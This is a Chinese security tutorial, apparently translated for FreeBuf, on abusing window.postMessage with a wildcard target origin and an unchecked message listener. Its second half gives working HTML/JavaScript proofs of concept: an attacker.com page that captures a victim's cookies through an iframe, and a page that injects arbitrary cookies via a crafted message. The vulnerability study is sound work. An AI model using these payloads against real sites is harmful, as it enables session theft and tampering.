如何利用postMessage竊取編輯用戶的Cookie信息
postMessage介紹
相信大家都聽過不同窗口之間的通信、當前窗口與內部iframe框架的通信以及一些跨域技巧，window.postMessage功能就是允許在兩個客戶端的窗口/frames間發送數據信息，跨域地實現通信的方法。
在HTML5中，Window.postMessage() 方法可以安全地實現跨源通信。通常，對於兩個不同頁面的腳本，只有當執行它們的頁面位於具有相同的協議（通常為https），埠號（443為https的默認值），以及主機 (兩個頁面的模數 Document.domain設置為相同的值) 時，這兩個腳本才能相互通信。window.postMessage() 方法提供了一種受控機制來規避此限制，只要正確的使用，這種方法就很安全。
Window.postMessage有三個參數，message、targetOrigin和可選的[transfer])，其中message代表將要發送到其他窗口的數據，targetOrigin表示接收數據消息的目標窗口，transfer代表消息的所有權。另外還有一個window.addEventListener(「message」, receiveMessage, false)，用以監聽消息數據的反饋，其中的message就存在data、origin和source三個屬性，origin屬性表示消息數據發送方的身份，只有和原來指定發送方的協議、域名或埠一致，才能建立通信。具體請參考postMessage的詳細介紹。
舉個例子，比如我們這有一個包含js代碼的頁面，用來監聽記錄傳入的消息，其中的js代碼如下：
<script>
function messages(event)
{
console.log(event);
}
window.addEventListener(『message』,messages,false);
console.log(「listening」);
</script>
<iframe src="url/child.html"></iframe>
在上述child.html的子頁面中，存在一個向主頁面的消息發送，它就調用了postMessage方法，如下：
window.parent.postMessage("Hello parent", "target");
接下來，會發生什麼呢?
首先，你訪問那個會載入child.html子頁面的主頁面，之後，子頁面會向主頁面發送消息，然後，主頁面接收該消息並通過控制台進行記錄。這裡會存在什麼安全隱患嗎？
如果攻擊者能控制消息發送的目標窗口target參數值會怎樣？
當然，如果子頁面存在點擊劫持又會怎樣？
我們要思考的是，按照postMessage規範來說，如果消息發送的目標窗口target參數是星號*，表示無限制，也即可以發送到任何引用了子頁面的域名中去。這樣的話，就會導致一些不安全的問題出現。
具體測試
回到之前的漏洞測試過程中，為了更好地展示思路，接下來開始，假設我們的測試目標為域名onga.com。我通過爬蟲找到了其中一個包含了HTML內容的一個HTML頁面 sync.html，然後，我的工具也顯示該頁面中包含了一些不安全的Javascript代碼。
這個文件沒有其它過多的元素，只包含了一個script標記，所以這個頁面看起來是起到一個中轉作用。仔細分析其中的 sync.html 文件，其中包含了一個postMessage方法，它向變數名為wOrigin的目標發送了消息，如下：
window.parent.postMessage(JSON.stringify(msg), wOrigin);
這樣，我們現在就看到了兩個變數，分別為msg和wOrigin。於是，我認真查找了類似變數的初始化位置，以確定是否可以對它們進行控制。很驚訝的是，msg是Cookie值，其它相關的都是用戶的輸入。
在分析wOrigin變數的過程中， 它在三個地方存在，第一個地方就是：
var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1)));
var ns = fdata.ns;
var worigin = fdata.worigin;
代碼很簡單，首先，它獲取到了當前窗口的URL哈希值，然後執行編碼操作（Decode）；之後，解析為json對象，接著，創建兩個變數，ns代表命名空間，wOrigin代表消息的發送目標窗口。
看到window.location.hash方法，我們就會自然地想到它可以用dom-based XSS加以利用，但這個問題在此不作討論。
所以，接下來，我繼續檢查其中的代碼，查看 ns 和 wOrigin 在傳遞給postMessage方法前的一些過濾機制，啊，竟然沒有！那這樣的話，我們就可以想辦法來構造exploit看看了。
構造Exploit
現在，我們需要逆向來思考這個過程：
首先，要創建ns 和 wOrigin 兩個變數；
假設 ns=anyblah ，wOrigin=*；
創建json對象格式 {「ns」:」anyblah」,」wOrigin」:」*」}；
構造存在漏洞的URL：
http://vulnerable-onga.com/sync.html#{「ns」:」anyblah」,」wOrigin」:」*」}
當上述URL頁面被載入之後，postMessage方法會向主頁面發送一個消息，但由於採用了*星號，該過程中不會限制發送目標域，消息可以發送到任何採取監聽措施的域名中去。
現在，我們在主頁面中來設置一個監聽以接收消息：
<script>
function rcv(event)
{
console.log(event);
}
window.addEventListener("message",rcv,false);
</script>
創建一個iframe框架來載入存在漏洞的頁面，並把它設置為子頁面，所以最終的PoC代碼可以如下：
<script>
function rcv(event)
{
console.log(event);
}
window.addEventListener("message",rcv,false);
</script>
<iframe src="http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}" />
當打開攻擊者設置的包含上述代碼的頁面http://attacker.com/poc.html後，監聽器將會運行，並會等待傳入消息，同時，iframe框架會被載入，此時，存在漏洞的頁面也一樣會在iframe框架會中被載入，並會向主頁面也就是攻擊者控制的網站頁面中發送包含有cookie的消息，最終，在我們的實例中，攻擊者控制的網站會捕獲到這些包含cookie的消息。
這就完了嗎？
當然沒有，不要忙著慶祝，這其中可能會有一些遺漏的東西，我們一起來看看。由於目標系統包含postMessage方法的文件只有57行代碼，我決定好好分析一下。果然，我又在其中發現了另外一行有意思的代碼：
window.addEventListener(『message』, h_message);
我又趕緊檢查了一下參數h_message函數的具體內容：
function h_message(event)
{
var data = null;
try { data = JSON.parse(event.data); } catch(e) { return;}
if (data.msgType !== "write" && data.namespace !== ns) {
return;
}
setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly);
}
我們來分析一下以上代碼包含的意思：
傳入消息中可能包含有json對象；
json對象中的msgType屬性可能和write屬性相同；
另外一個namespace屬性可能和hash中的 」ns「相同，都是用戶端控制的輸入；
if (data.msgType !== 「write」 && data.namespace !== ns)中使用了邏輯非和與運算，所以兩組條件中都需要滿足才能return返回；
否則，就會執行下一個包含其它json屬性為參數的setCookie()函數。
這裡確實是存在風險的，由於缺乏對消息源的認證機制，所以任意網站都可以用來發送消息並向setCookie()中傳入惡意值。基於以上偉世通，我們可以構造出以下json對象來：
{「msgType」:」write」,」namespace」:」a」,」cookieName」:」injectedt」,」cookieVal」:」hacked」,」expiresDays」:10,」secureOnly」:false}
目標URL我們可以這樣來設置：/sync.html#{「ns」:」a」,」wOrigin」:」*」}
最終的PoC頁面中將包含以下代碼：
<script>
var tar="http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}";
var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false};
var c= window.open(tar,"child");
c.postMessage(pay,"*");
</script>
保存包含上述代碼的PoC頁面為html格式並打開，cookie就能成功注入，因此攻擊者端也就能向存在漏洞網站，注入任意cookie數據信息，實現間接的cookie竊取和編輯操作了。如下視頻所示：
看不到？請點擊底部閱讀原文。
參考：
http://www.sec-1.com/blog/wp-content/uploads/2016/08/Hunting—postMessage-Vulnerabilities.pdf
https://www.youtube.com/watch?v=XTKqQ9mhcgM
https://robertnyman.com/2010/03/18/postmessage-in-html5-to-send-messages-between-windows-and-iframes/
https://gist.github.com/YasserGersy/1fc77ff9b678fb5028a272a86c1d2ea1
https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/
*參考來源：medium，clouds編譯，轉載請註明來自FreeBuf.COM
TAG:FreeBuf |